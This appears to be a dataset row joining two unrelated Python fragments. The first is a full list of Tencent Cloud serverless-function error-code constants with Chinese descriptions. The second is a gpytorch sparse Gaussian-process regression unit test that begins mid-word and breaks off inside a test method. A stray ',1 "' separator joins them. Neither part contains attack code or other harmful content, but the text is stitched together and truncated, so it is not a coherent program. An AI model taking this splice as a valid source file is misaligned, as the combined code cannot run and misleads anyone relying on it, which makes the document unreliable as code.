FAILEDOPERATION_CREATETRIGGER = 'FailedOperation.CreateTrigger' # 当前调试状态无法执行此操作。 FAILEDOPERATION_DEBUGMODESTATUS = 'FailedOperation.DebugModeStatus' # 调试状态下无法更新执行超时时间。 FAILEDOPERATION_DEBUGMODEUPDATETIMEOUTFAIL = 'FailedOperation.DebugModeUpdateTimeOutFail' # 删除别名失败。 FAILEDOPERATION_DELETEALIAS = 'FailedOperation.DeleteAlias' # 当前函数状态无法进行此操作,请在函数状态正常时重试。 FAILEDOPERATION_DELETEFUNCTION = 'FailedOperation.DeleteFunction' # 删除layer版本失败。 FAILEDOPERATION_DELETELAYERVERSION = 'FailedOperation.DeleteLayerVersion' # 无法删除默认Namespace。 FAILEDOPERATION_DELETENAMESPACE = 'FailedOperation.DeleteNamespace' # 删除触发器失败。 FAILEDOPERATION_DELETETRIGGER = 'FailedOperation.DeleteTrigger' # 当前函数状态无法更新代码,请在状态为正常时更新。 FAILEDOPERATION_FUNCTIONNAMESTATUSERROR = 'FailedOperation.FunctionNameStatusError' # 函数在部署中,无法做此操作。 FAILEDOPERATION_FUNCTIONSTATUSERROR = 'FailedOperation.FunctionStatusError' # 当前函数版本状态无法进行此操作,请在版本状态为正常时重试。 FAILEDOPERATION_FUNCTIONVERSIONSTATUSNOTACTIVE = 'FailedOperation.FunctionVersionStatusNotActive' # 获取别名信息失败。 FAILEDOPERATION_GETALIAS = 'FailedOperation.GetAlias' # 获取函数代码地址失败。 FAILEDOPERATION_GETFUNCTIONADDRESS = 'FailedOperation.GetFunctionAddress' # 当前账号或命名空间处于欠费状态,请在可用时重试。 FAILEDOPERATION_INSUFFICIENTBALANCE = 'FailedOperation.InsufficientBalance' # 调用函数失败。 FAILEDOPERATION_INVOKEFUNCTION = 'FailedOperation.InvokeFunction' # 命名空间已存在,请勿重复创建。 FAILEDOPERATION_NAMESPACE = 'FailedOperation.Namespace' # 服务开通失败。 FAILEDOPERATION_OPENSERVICE = 'FailedOperation.OpenService' # 操作冲突。 FAILEDOPERATION_OPERATIONCONFLICT = 'FailedOperation.OperationConflict' # 创建定时预置任务失败。 FAILEDOPERATION_PROVISIONCREATETIMER = 'FailedOperation.ProvisionCreateTimer' # 删除定时预置任务失败。 FAILEDOPERATION_PROVISIONDELETETIMER = 'FailedOperation.ProvisionDeleteTimer' # 当前函数版本已有预置任务处于进行中,请稍后重试。 FAILEDOPERATION_PROVISIONEDINPROGRESS = 'FailedOperation.ProvisionedInProgress' # 发布layer版本失败。 FAILEDOPERATION_PUBLISHLAYERVERSION = 'FailedOperation.PublishLayerVersion' # 当前函数状态无法发布版本,请在状态为正常时发布。 FAILEDOPERATION_PUBLISHVERSION = 'FailedOperation.PublishVersion' # 角色不存在。 FAILEDOPERATION_QCSROLENOTFOUND = 'FailedOperation.QcsRoleNotFound' # 当前函数已有保留并发设置任务处于进行中,请稍后重试。 FAILEDOPERATION_RESERVEDINPROGRESS = 'FailedOperation.ReservedInProgress' # Topic不存在。 FAILEDOPERATION_TOPICNOTEXIST = 'FailedOperation.TopicNotExist' # 用户并发内存配额设置任务处于进行中,请稍后重试。 FAILEDOPERATION_TOTALCONCURRENCYMEMORYINPROGRESS = 'FailedOperation.TotalConcurrencyMemoryInProgress' # 指定的服务未开通,可以提交工单申请开通服务。 FAILEDOPERATION_UNOPENEDSERVICE = 'FailedOperation.UnOpenedService' # 更新别名失败。 FAILEDOPERATION_UPDATEALIAS = 'FailedOperation.UpdateAlias' # 当前函数状态无法更新代码,请在状态为正常时更新。 FAILEDOPERATION_UPDATEFUNCTIONCODE = 'FailedOperation.UpdateFunctionCode' # UpdateFunctionConfiguration操作失败。 FAILEDOPERATION_UPDATEFUNCTIONCONFIGURATION = 'FailedOperation.UpdateFunctionConfiguration' # 内部错误。 INTERNALERROR = 'InternalError' # 创建apigw触发器内部错误。 INTERNALERROR_APIGATEWAY = 'InternalError.ApiGateway' # ckafka接口失败。 INTERNALERROR_CKAFKA = 'InternalError.Ckafka' # 删除cmq触发器失败。 INTERNALERROR_CMQ = 'InternalError.Cmq' # 更新触发器失败。 INTERNALERROR_COS = 'InternalError.Cos' # ES错误。 INTERNALERROR_ES = 'InternalError.ES' # 内部服务异常。 INTERNALERROR_EXCEPTION = 'InternalError.Exception' # 内部服务错误。 INTERNALERROR_GETROLEERROR = 'InternalError.GetRoleError' # 内部系统错误。 INTERNALERROR_SYSTEM = 'InternalError.System' # 内部服务错误。 INTERNALERROR_SYSTEMERROR = 'InternalError.SystemError' # FunctionName取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETER_FUNCTIONNAME = 'InvalidParameter.FunctionName' # 请求参数不合法。 INVALIDPARAMETER_PAYLOAD = 'InvalidParameter.Payload' # RoutingConfig参数传入错误。 INVALIDPARAMETER_ROUTINGCONFIG = 'InvalidParameter.RoutingConfig' # 参数取值错误。 INVALIDPARAMETERVALUE = 'InvalidParameterValue' # Action取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_ACTION = 'InvalidParameterValue.Action' # AdditionalVersionWeights参数传入错误。 INVALIDPARAMETERVALUE_ADDITIONALVERSIONWEIGHTS = 'InvalidParameterValue.AdditionalVersionWeights' # 不支持删除默认别名,请修正后重试。 INVALIDPARAMETERVALUE_ALIAS = 'InvalidParameterValue.Alias' # ApiGateway参数错误。 INVALIDPARAMETERVALUE_APIGATEWAY = 'InvalidParameterValue.ApiGateway' # ApmConfig参数传入错误。 INVALIDPARAMETERVALUE_APMCONFIG = 'InvalidParameterValue.ApmConfig' # ApmConfigInstanceId参数传入错误。 INVALIDPARAMETERVALUE_APMCONFIGINSTANCEID = 'InvalidParameterValue.ApmConfigInstanceId' # ApmConfigRegion参数传入错误。 INVALIDPARAMETERVALUE_APMCONFIGREGION = 'InvalidParameterValue.ApmConfigRegion' # Args 参数值有误。 INVALIDPARAMETERVALUE_ARGS = 'InvalidParameterValue.Args' # 函数异步重试配置参数无效。 INVALIDPARAMETERVALUE_ASYNCTRIGGERCONFIG = 'InvalidParameterValue.AsyncTriggerConfig' # Cdn传入错误。 INVALIDPARAMETERVALUE_CDN = 'InvalidParameterValue.Cdn' # cfs配置项重复。 INVALIDPARAMETERVALUE_CFSPARAMETERDUPLICATE = 'InvalidParameterValue.CfsParameterDuplicate' # cfs配置项取值与规范不符。 INVALIDPARAMETERVALUE_CFSPARAMETERERROR = 'InvalidParameterValue.CfsParameterError' # cfs参数格式与规范不符。 INVALIDPARAMETERVALUE_CFSSTRUCTIONERROR = 'InvalidParameterValue.CfsStructionError' # Ckafka传入错误。 INVALIDPARAMETERVALUE_CKAFKA = 'InvalidParameterValue.Ckafka' # 运行函数时的参数传入有误。 INVALIDPARAMETERVALUE_CLIENTCONTEXT = 'InvalidParameterValue.ClientContext' # Cls传入错误。 INVALIDPARAMETERVALUE_CLS = 'InvalidParameterValue.Cls' # 修改Cls配置需要传入Role参数,请修正后重试。 INVALIDPARAMETERVALUE_CLSROLE = 'InvalidParameterValue.ClsRole' # Cmq传入错误。 INVALIDPARAMETERVALUE_CMQ = 'InvalidParameterValue.Cmq' # Code传入错误。 INVALIDPARAMETERVALUE_CODE = 'InvalidParameterValue.Code' # CodeSecret传入错误。 INVALIDPARAMETERVALUE_CODESECRET = 'InvalidParameterValue.CodeSecret' # CodeSource传入错误。 INVALIDPARAMETERVALUE_CODESOURCE = 'InvalidParameterValue.CodeSource' # Command[Entrypoint] 参数值有误。 INVALIDPARAMETERVALUE_COMMAND = 'InvalidParameterValue.Command' # CompatibleRuntimes参数传入错误。 INVALIDPARAMETERVALUE_COMPATIBLERUNTIMES = 'InvalidParameterValue.CompatibleRuntimes' # Content参数传入错误。 INVALIDPARAMETERVALUE_CONTENT = 'InvalidParameterValue.Content' # Cos传入错误。 INVALIDPARAMETERVALUE_COS = 'InvalidParameterValue.Cos' # CosBucketName不符合规范。 INVALIDPARAMETERVALUE_COSBUCKETNAME = 'InvalidParameterValue.CosBucketName' # CosBucketRegion取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_COSBUCKETREGION = 'InvalidParameterValue.CosBucketRegion' # CosObjectName不符合规范。 INVALIDPARAMETERVALUE_COSOBJECTNAME = 'InvalidParameterValue.CosObjectName' # CustomArgument参数长度超限。 INVALIDPARAMETERVALUE_CUSTOMARGUMENT = 'InvalidParameterValue.CustomArgument' # DateTime传入错误。 INVALIDPARAMETERVALUE_DATETIME = 'InvalidParameterValue.DateTime' # DeadLetterConfig取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_DEADLETTERCONFIG = 'InvalidParameterValue.DeadLetterConfig' # 默认Namespace无法创建。 INVALIDPARAMETERVALUE_DEFAULTNAMESPACE = 'InvalidParameterValue.DefaultNamespace' # Description传入错误。 INVALIDPARAMETERVALUE_DESCRIPTION = 'InvalidParameterValue.Description' # 环境变量DNS[OS_NAMESERVER]配置有误。 INVALIDPARAMETERVALUE_DNSINFO = 'InvalidParameterValue.DnsInfo' # EipConfig参数错误。 INVALIDPARAMETERVALUE_EIPCONFIG = 'InvalidParameterValue.EipConfig' # Enable取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_ENABLE = 'InvalidParameterValue.Enable' # Environment传入错误。 INVALIDPARAMETERVALUE_ENVIRONMENT = 'InvalidParameterValue.Environment' # 环境变量大小超限,请保持在 4KB 以内。 INVALIDPARAMETERVALUE_ENVIRONMENTEXCEEDEDLIMIT = 'InvalidParameterValue.EnvironmentExceededLimit' # 不支持修改函数系统环境变量和运行环境变量。 INVALIDPARAMETERVALUE_ENVIRONMENTSYSTEMPROTECT = 'InvalidParameterValue.EnvironmentSystemProtect' # Filters参数错误。 INVALIDPARAMETERVALUE_FILTERS = 'InvalidParameterValue.Filters' # Function取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_FUNCTION = 'InvalidParameterValue.Function' # 函数不存在。 INVALIDPARAMETERVALUE_FUNCTIONNAME = 'InvalidParameterValue.FunctionName' # GitBranch不符合规范。 INVALIDPARAMETERVALUE_GITBRANCH = 'InvalidParameterValue.GitBranch' # GitCommitId取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_GITCOMMITID = 'InvalidParameterValue.GitCommitId' # GitDirectory不符合规范。 INVALIDPARAMETERVALUE_GITDIRECTORY = 'InvalidParameterValue.GitDirectory' # GitPassword不符合规范。 INVALIDPARAMETERVALUE_GITPASSWORD = 'InvalidParameterValue.GitPassword' # GitUrl不符合规范。 INVALIDPARAMETERVALUE_GITURL = 'InvalidParameterValue.GitUrl' # GitUserName不符合规范。 INVALIDPARAMETERVALUE_GITUSERNAME = 'InvalidParameterValue.GitUserName' # Handler传入错误。 INVALIDPARAMETERVALUE_HANDLER = 'InvalidParameterValue.Handler' # IdleTimeOut参数传入错误。 INVALIDPARAMETERVALUE_IDLETIMEOUT = 'InvalidParameterValue.IdleTimeOut' # imageUri 传入有误。 INVALIDPARAMETERVALUE_IMAGEURI = 'InvalidParameterValue.ImageUri' # InlineZipFile非法。 INVALIDPARAMETERVALUE_INLINEZIPFILE = 'InvalidParameterValue.InlineZipFile' # InvokeType取值与规范不符,请修正后再试。 INVALIDPARAMETERVALUE_INVOKETYPE = 'InvalidParameterValue.InvokeType' # L5Enable取值与规范不符,请修正后再试。 INVALIDPARAMETERVALUE_L5ENABLE = 'InvalidParameterValue.L5Enable' # LayerName参数传入错误。 INVALIDPARAMETERVALUE_LAYERNAME = 'InvalidParameterValue.LayerName' # Layers参数传入错误。 INVALIDPARAMETERVALUE_LAYERS = 'InvalidParameterValue.Layers' # Limit传入错误。 INVALIDPARAMETERVALUE_LIMIT = 'InvalidParameterValue.Limit' # 参数超出长度限制。 INVALIDPARAMETERVALUE_LIMITEXCEEDED = 'InvalidParameterValue.LimitExceeded' # Memory取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_MEMORY = 'InvalidParameterValue.Memory' # MemorySize错误。 INVALIDPARAMETERVALUE_MEMORYSIZE = 'InvalidParameterValue.MemorySize' # MinCapacity 参数传入错误。 INVALIDPARAMETERVALUE_MINCAPACITY = 'InvalidParameterValue.MinCapacity' # Name参数传入错误。 INVALIDPARAMETERVALUE_NAME = 'InvalidParameterValue.Name' # Namespace参数传入错误。 INVALIDPARAMETERVALUE_NAMESPACE = 'InvalidParameterValue.Namespace' # 规则不正确,Namespace为英文字母、数字、-_ 符号组成,长度30。 INVALIDPARAMETERVALUE_NAMESPACEINVALID = 'InvalidParameterValue.NamespaceInvalid' # NodeSpec 参数传入错误。 INVALIDPARAMETERVALUE_NODESPEC = 'InvalidParameterValue.NodeSpec' # NodeType 参数传入错误。 INVALIDPARAMETERVALUE_NODETYPE = 'InvalidParameterValue.NodeType' # 偏移量不合法。 INVALIDPARAMETERVALUE_OFFSET = 'InvalidParameterValue.Offset' # Order传入错误。 INVALIDPARAMETERVALUE_ORDER = 'InvalidParameterValue.Order' # OrderBy取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_ORDERBY = 'InvalidParameterValue.OrderBy' # 入参不是标准的json。 INVALIDPARAMETERVALUE_PARAM = 'InvalidParameterValue.Param' # ProtocolType参数传入错误。 INVALIDPARAMETERVALUE_PROTOCOLTYPE = 'InvalidParameterValue.ProtocolType' # 定时预置的cron配置重复。 INVALIDPARAMETERVALUE_PROVISIONTRIGGERCRONCONFIGDUPLICATE = 'InvalidParameterValue.ProvisionTriggerCronConfigDuplicate' # TriggerName参数传入错误。 INVALIDPARAMETERVALUE_PROVISIONTRIGGERNAME = 'InvalidParameterValue.ProvisionTriggerName' # TriggerName重复。 INVALIDPARAMETERVALUE_PROVISIONTRIGGERNAMEDUPLICATE = 'InvalidParameterValue.ProvisionTriggerNameDuplicate' # ProvisionType 参数传入错误。 INVALIDPARAMETERVALUE_PROVISIONTYPE = 'InvalidParameterValue.ProvisionType' # PublicNetConfig参数错误。 INVALIDPARAMETERVALUE_PUBLICNETCONFIG = 'InvalidParameterValue.PublicNetConfig' # 不支持的函数版本。 INVALIDPARAMETERVALUE_QUALIFIER = 'InvalidParameterValue.Qualifier' # 企业版镜像实例ID[RegistryId]传值错误。 INVALIDPARAMETERVALUE_REGISTRYID = 'InvalidParameterValue.RegistryId' # RetCode不合法。 INVALIDPARAMETERVALUE_RETCODE = 'InvalidParameterValue.RetCode' # RoutingConfig取值与规范不符,请修正后再试。可参考:https://tencentcs.com/5jXKFnBW。 INVALIDPARAMETERVALUE_ROUTINGCONFIG = 'InvalidParameterValue.RoutingConfig' # Runtime传入错误。 INVALIDPARAMETERVALUE_RUNTIME = 'InvalidParameterValue.Runtime' # searchkey 不是 Keyword,Tag 或者 Runtime。 INVALIDPARAMETERVALUE_SEARCHKEY = 'InvalidParameterValue.SearchKey' # SecretInfo错误。 INVALIDPARAMETERVALUE_SECRETINFO = 'InvalidParameterValue.SecretInfo' # ServiceName命名不规范。 INVALIDPARAMETERVALUE_SERVICENAME = 'InvalidParameterValue.ServiceName' # Stamp取值与规范不符,请修正后再试。 INVALIDPARAMETERVALUE_STAMP = 'InvalidParameterValue.Stamp' # 起始时间传入错误。 INVALIDPARAMETERVALUE_STARTTIME = 'InvalidParameterValue.StartTime' # 需要同时指定开始日期与结束日期。 INVALIDPARAMETERVALUE_STARTTIMEORENDTIME = 'InvalidParameterValue.StartTimeOrEndTime' # Status取值与规范不符,请修正后再试。 INVALIDPARAMETERVALUE_STATUS = 'InvalidParameterValue.Status' # 系统环境变量错误。 INVALIDPARAMETERVALUE_SYSTEMENVIRONMENT = 'InvalidParameterValue.SystemEnvironment' # 非法的TempCosObjectName。 INVALIDPARAMETERVALUE_TEMPCOSOBJECTNAME = 'InvalidParameterValue.TempCosObjectName' # TraceEnable取值与规范不符,请修正后再试。 INVALIDPARAMETERVALUE_TRACEENABLE = 'InvalidParameterValue.TraceEnable' # TrackingTarget 参数输入错误。 INVALIDPARAMETERVALUE_TRACKINGTARGET = 'InvalidParameterValue.TrackingTarget' # TriggerCronConfig参数传入错误。 INVALIDPARAMETERVALUE_TRIGGERCRONCONFIG = 'InvalidParameterValue.TriggerCronConfig' # TriggerCronConfig参数定时触发间隔小于指定值。 INVALIDPARAMETERVALUE_TRIGGERCRONCONFIGTIMEINTERVAL = 'InvalidParameterValue.TriggerCronConfigTimeInterval' # TriggerDesc传入参数错误。 INVALIDPARAMETERVALUE_TRIGGERDESC = 'InvalidParameterValue.TriggerDesc' # TriggerName传入错误。 INVALIDPARAMETERVALUE_TRIGGERNAME = 'InvalidParameterValue.TriggerName' # TriggerProvisionedConcurrencyNum参数传入错误。 INVALIDPARAMETERVALUE_TRIGGERPROVISIONEDCONCURRENCYNUM = 'InvalidParameterValue.TriggerProvisionedConcurrencyNum' # Type传入错误。 INVALIDPARAMETERVALUE_TYPE = 'InvalidParameterValue.Type' # 开启cfs配置的同时必须开启vpc。 INVALIDPARAMETERVALUE_VPCNOTSETWHENOPENCFS = 'InvalidParameterValue.VpcNotSetWhenOpenCfs' # WebSocketsParams参数传入错误。 INVALIDPARAMETERVALUE_WEBSOCKETSPARAMS = 'InvalidParameterValue.WebSocketsParams' # 检测到不是标准的zip文件,请重新压缩后再试。 INVALIDPARAMETERVALUE_ZIPFILE = 'InvalidParameterValue.ZipFile' # 压缩文件base64解码失败: `Incorrect padding`,请修正后再试。 INVALIDPARAMETERVALUE_ZIPFILEBASE64BINASCIIERROR = 'InvalidParameterValue.ZipFileBase64BinasciiError' # 别名个数超过最大限制。 LIMITEXCEEDED_ALIAS = 'LimitExceeded.Alias' # Cdn使用超过最大限制。 LIMITEXCEEDED_CDN = 'LimitExceeded.Cdn' # eip资源超限。 LIMITEXCEEDED_EIP = 'LimitExceeded.Eip' # 函数数量超出最大限制 ,可通过[提交工单](https://cloud.tencent.com/act/event/Online_service?from=scf%7Cindex)申请提升限制。 LIMITEXCEEDED_FUNCTION = 'LimitExceeded.Function' # 同一个主题下的函数超过最大限制。 LIMITEXCEEDED_FUNCTIONONTOPIC = 'LimitExceeded.FunctionOnTopic' # FunctionProvisionedConcurrencyMemory数量达到限制,可提交工单申请提升限制:https://tencentcs.com/7Fixwt63。 LIMITEXCEEDED_FUNCTIONPROVISIONEDCONCURRENCYMEMORY = 'LimitExceeded.FunctionProvisionedConcurrencyMemory' # 函数保留并发内存超限。 LIMITEXCEEDED_FUNCTIONRESERVEDCONCURRENCYMEMORY = 'LimitExceeded.FunctionReservedConcurrencyMemory' # FunctionTotalProvisionedConcurrencyMemory达到限制,可提交工单申请提升限制:https://tencentcs.com/7Fixwt63。 LIMITEXCEEDED_FUNCTIONTOTALPROVISIONEDCONCURRENCYMEMORY = 'LimitExceeded.FunctionTotalProvisionedConcurrencyMemory' # 函数预置并发总数达到限制。 LIMITEXCEEDED_FUNCTIONTOTALPROVISIONEDCONCURRENCYNUM = 'LimitExceeded.FunctionTotalProvisionedConcurrencyNum' # InitTimeout达到限制,可提交工单申请提升限制:https://tencentcs.com/7Fixwt63。 LIMITEXCEEDED_INITTIMEOUT = 'LimitExceeded.InitTimeout' # layer版本数量超出最大限制。 LIMITEXCEEDED_LAYERVERSIONS = 'LimitExceeded.LayerVersions' # layer数量超出最大限制。 LIMITEXCEEDED_LAYERS = 'LimitExceeded.Layers' # 内存超出最大限制。 LIMITEXCEEDED_MEMORY = 'LimitExceeded.Memory' # 函数异步重试配置消息保留时间超过限制。 LIMITEXCEEDED_MSGTTL = 'LimitExceeded.MsgTTL' # 命名空间数量超过最大限制,可通过[提交工单](https://cloud.tencent.com/act/event/Online_service?from=scf%7Cindex)申请提升限制。 LIMITEXCEEDED_NAMESPACE = 'LimitExceeded.Namespace' # Offset超出限制。 LIMITEXCEEDED_OFFSET = 'LimitExceeded.Offset' # 定时预置数量超过最大限制。 LIMITEXCEEDED_PROVISIONTRIGGERACTION = 'LimitExceeded.ProvisionTriggerAction' # 定时触发间隔小于最大限制。 LIMITEXCEEDED_PROVISIONTRIGGERINTERVAL = 'LimitExceeded.ProvisionTriggerInterval' # 配额超限。 LIMITEXCEEDED_QUOTA = 'LimitExceeded.Quota' # 函数异步重试配置异步重试次数超过限制。 LIMITEXCEEDED_RETRYNUM = 'LimitExceeded.RetryNum' # Timeout超出最大限制。 LIMITEXCEEDED_TIMEOUT = 'LimitExceeded.Timeout' # 用户并发内存配额超限。 LIMITEXCEEDED_TOTALCONCURRENCYMEMORY = 'LimitExceeded.TotalConcurrencyMemory' # 触发器数量超出最大限制,可通过[提交工单](https://cloud.tencent.com/act/event/Online_service?from=scf%7Cindex)申请提升限制。 LIMITEXCEEDED_TRIGGER = 'LimitExceeded.Trigger' # UserTotalConcurrencyMemory达到限制,可提交工单申请提升限制:https://tencentcs.com/7Fixwt63。 LIMITEXCEEDED_USERTOTALCONCURRENCYMEMORY = 'LimitExceeded.UserTotalConcurrencyMemory' # 缺少参数错误。 MISSINGPARAMETER = 'MissingParameter' # Code没有传入。 MISSINGPARAMETER_CODE = 'MissingParameter.Code' # 缺失 Runtime 字段。 MISSINGPARAMETER_RUNTIME = 'MissingParameter.Runtime' # 资源被占用。 RESOURCEINUSE = 'ResourceInUse' # Alias已被占用。 RESOURCEINUSE_ALIAS = 'ResourceInUse.Alias' # Cdn已被占用。 RESOURCEINUSE_CDN = 'ResourceInUse.Cdn' # Cmq已被占用。 RESOURCEINUSE_CMQ = 'ResourceInUse.Cmq' # Cos已被占用。 RESOURCEINUSE_COS = 'ResourceInUse.Cos' # 函数已存在。 RESOURCEINUSE_FUNCTION = 'ResourceInUse.Function' # FunctionName已存在。 RESOURCEINUSE_FUNCTIONNAME = 'ResourceInUse.FunctionName' # Layer版本正在使用中。 RESOURCEINUSE_LAYERVERSION = 'ResourceInUse.LayerVersion' # Namespace已存在。 RESOURCEINUSE_NAMESPACE = 'ResourceInUse.Namespace' # TriggerName已存在。 RESOURCEINUSE_TRIGGER = 'ResourceInUse.Trigger' # TriggerName已存在。 RESOURCEINUSE_TRIGGERNAME = 'ResourceInUse.TriggerName' # COS资源不足。 RESOURCEINSUFFICIENT_COS = 'ResourceInsufficient.COS' # 资源不存在。 RESOURCENOTFOUND = 'ResourceNotFound' # 别名不存在。 RESOURCENOTFOUND_ALIAS = 'ResourceNotFound.Alias' # 未找到指定的AsyncEvent,请创建后再试。 RESOURCENOTFOUND_ASYNCEVENT = 'ResourceNotFound.AsyncEvent' # Cdn不存在。 RESOURCENOTFOUND_CDN = 'ResourceNotFound.Cdn' # 指定的cfs下未找到您所指定的挂载点。 RESOURCENOTFOUND_CFSMOUNTINSNOTMATCH = 'ResourceNotFound.CfsMountInsNotMatch' # 检测cfs状态为不可用。 RESOURCENOTFOUND_CFSSTATUSERROR = 'ResourceNotFound.CfsStatusError' # cfs与云函数所处vpc不一致。 RESOURCENOTFOUND_CFSVPCNOTMATCH = 'ResourceNotFound.CfsVpcNotMatch' # Ckafka不存在。 RESOURCENOTFOUND_CKAFKA = 'ResourceNotFound.Ckafka' # Cmq不存在。 RESOURCENOTFOUND_CMQ = 'ResourceNotFound.Cmq' # Cos不存在。 RESOURCENOTFOUND_COS = 'ResourceNotFound.Cos' # 不存在的Demo。 RESOURCENOTFOUND_DEMO = 'ResourceNotFound.Demo' # 函数不存在。 RESOURCENOTFOUND_FUNCTION = 'ResourceNotFound.Function' # 函数不存在。 RESOURCENOTFOUND_FUNCTIONNAME = 'ResourceNotFound.FunctionName' # 函数版本不存在。 RESOURCENOTFOUND_FUNCTIONVERSION = 'ResourceNotFound.FunctionVersion' # 获取cfs挂载点信息错误。 RESOURCENOTFOUND_GETCFSMOUNTINSERROR = 'ResourceNotFound.GetCfsMountInsError' # 获取cfs信息错误。 RESOURCENOTFOUND_GETCFSNOTMATCH = 'ResourceNotFound.GetCfsNotMatch' # 未找到指定的ImageConfig,请创建后再试。 RESOURCENOTFOUND_IMAGECONFIG = 'ResourceNotFound.ImageConfig' # layer不存在。 RESOURCENOTFOUND_LAYER = 'ResourceNotFound.Layer' # Layer版本不存在。 RESOURCENOTFOUND_LAYERVERSION = 'ResourceNotFound.LayerVersion' # Namespace不存在。 RESOURCENOTFOUND_NAMESPACE = 'ResourceNotFound.Namespace' # 版本不存在。 RESOURCENOTFOUND_QUALIFIER = 'ResourceNotFound.Qualifier' # 角色不存在。 RESOURCENOTFOUND_ROLE = 'ResourceNotFound.Role' # Role不存在。 RESOURCENOTFOUND_ROLECHECK = 'ResourceNotFound.RoleCheck' # Timer不存在。 RESOURCENOTFOUND_TIMER = 'ResourceNotFound.Timer' # 并发内存配额资源未找到。 RESOURCENOTFOUND_TOTALCONCURRENCYMEMORY = 'ResourceNotFound.TotalConcurrencyMemory' # 触发器不存在。 RESOURCENOTFOUND_TRIGGER = 'ResourceNotFound.Trigger' # 版本不存在。 RESOURCENOTFOUND_VERSION = 'ResourceNotFound.Version' # VPC或子网不存在。 RESOURCENOTFOUND_VPC = 'ResourceNotFound.Vpc' # 余额不足,请先充值。 RESOURCEUNAVAILABLE_INSUFFICIENTBALANCE = 'ResourceUnavailable.InsufficientBalance' # Namespace不可用。 RESOURCEUNAVAILABLE_NAMESPACE = 'ResourceUnavailable.Namespace' # 未授权操作。 UNAUTHORIZEDOPERATION = 'UnauthorizedOperation' # CAM鉴权失败。 UNAUTHORIZEDOPERATION_CAM = 'UnauthorizedOperation.CAM' # 无访问代码权限。 UNAUTHORIZEDOPERATION_CODESECRET = 'UnauthorizedOperation.CodeSecret' # 没有权限。 UNAUTHORIZEDOPERATION_CREATETRIGGER = 'UnauthorizedOperation.CreateTrigger' # 没有权限的操作。 UNAUTHORIZEDOPERATION_DELETEFUNCTION = 'UnauthorizedOperation.DeleteFunction' # 没有权限。 UNAUTHORIZEDOPERATION_DELETETRIGGER = 'UnauthorizedOperation.DeleteTrigger' # 不是从控制台调用的该接口。 UNAUTHORIZEDOPERATION_NOTMC = 'UnauthorizedOperation.NotMC' # Region错误。 UNAUTHORIZEDOPERATION_REGION = 'UnauthorizedOperation.Region' # 没有权限访问您的Cos资源。 UNAUTHORIZEDOPERATION_ROLE = 'UnauthorizedOperation.Role' # TempCos的Appid和请求账户的APPID不一致。 UNAUTHORIZEDOPERATION_TEMPCOSAPPID = 'UnauthorizedOperation.TempCosAppid' # 无法进行此操作。 UNAUTHORIZEDOPERATION_UPDATEFUNCTIONCODE = 'UnauthorizedOperation.UpdateFunctionCode' # 操作不支持。 UNSUPPORTEDOPERATION = 'UnsupportedOperation' # 资源还有别名绑定,不支持当前操作,请解绑别名后重试。 UNSUPPORTEDOPERATION_ALIASBIND = 'UnsupportedOperation.AliasBind' # 指定的配置AsyncRunEnable暂不支持,请修正后再试。 UNSUPPORTEDOPERATION_ASYNCRUNENABLE = 'UnsupportedOperation.AsyncRunEnable' # Cdn不支持。 UNSUPPORTEDOPERATION_CDN = 'UnsupportedOperation.Cdn' # Cos操作不支持。 UNSUPPORTEDOPERATION_COS = 'UnsupportedOperation.Cos' # 指定的配置EipFixed暂不支持。 UNSUPPORTEDOPERATION_EIPFIXED = 'UnsupportedOperation.EipFixed' # 不支持此地域。 UNSUPPORTEDOPERATION_REGION = 'UnsupportedOperation.Region' # Trigger操作不支持。 UNSUPPORTEDOPERATION_TRIGGER = 'UnsupportedOperation.Trigger' # 指定的配置暂不支持,请修正后再试。 UNSUPPORTEDOPERATION_UPDATEFUNCTIONEVENTINVOKECONFIG = 'UnsupportedOperation.UpdateFunctionEventInvokeConfig' # 指定的配置VpcConfig暂不支持。 UNSUPPORTEDOPERATION_VPCCONFIG = 'UnsupportedOperation.VpcConfig' ",1 "istributions import MultivariateNormal from gpytorch.kernels import InducingPointKernel, RBFKernel, ScaleKernel from gpytorch.likelihoods import GaussianLikelihood from gpytorch.means import ConstantMean from gpytorch.priors import SmoothedBoxPrior from gpytorch.test.utils import least_used_cuda_device from gpytorch.utils.warnings import NumericalWarning from torch import optim # Simple training data: let's try to learn a sine function, # but with SGPR # let's use 100 training examples. def make_data(cuda=False): train_x = torch.linspace(0, 1, 100) train_y = torch.sin(train_x * (2 * pi)) train_y.add_(torch.randn_like(train_y), alpha=1e-2) test_x = torch.rand(51) test_y = torch.sin(test_x * (2 * pi)) if cuda: train_x = train_x.cuda() train_y = train_y.cuda() test_x = test_x.cuda() test_y = test_y.cuda() return train_x, train_y, test_x, test_y class GPRegressionModel(gpytorch.models.ExactGP): def __init__(self, train_x, train_y, likelihood): super(GPRegressionModel, self).__init__(train_x, train_y, likelihood) self.mean_module = ConstantMean(prior=SmoothedBoxPrior(-1e-5, 1e-5)) self.base_covar_module = ScaleKernel(RBFKernel(lengthscale_prior=SmoothedBoxPrior(exp(-5), exp(6), sigma=0.1))) self.covar_module = InducingPointKernel( self.base_covar_module, inducing_points=torch.linspace(0, 1, 32), likelihood=likelihood ) def forward(self, x): mean_x = self.mean_module(x) covar_x = self.covar_module(x) return MultivariateNormal(mean_x, covar_x) class TestSGPRRegression(unittest.TestCase): def setUp(self): if os.getenv(""UNLOCK_SEED"") is None or os.getenv(""UNLOCK_SEED"").lower() == ""false"": self.rng_state = torch.get_rng_state() torch.manual_seed(0) if torch.cuda.is_available(): torch.cuda.manual_seed_all(0) random.seed(0) def tearDown(self): if hasattr(self, ""rng_state""): torch.set_rng_state(self.rng_state) def test_sgpr_mean_abs_error(self): # Suppress numerical warnings warnings.simplefilter(""ignore"", NumericalWarning) train_x, train_y, test_x, test_y = make_data() likelihood = GaussianLikelihood() 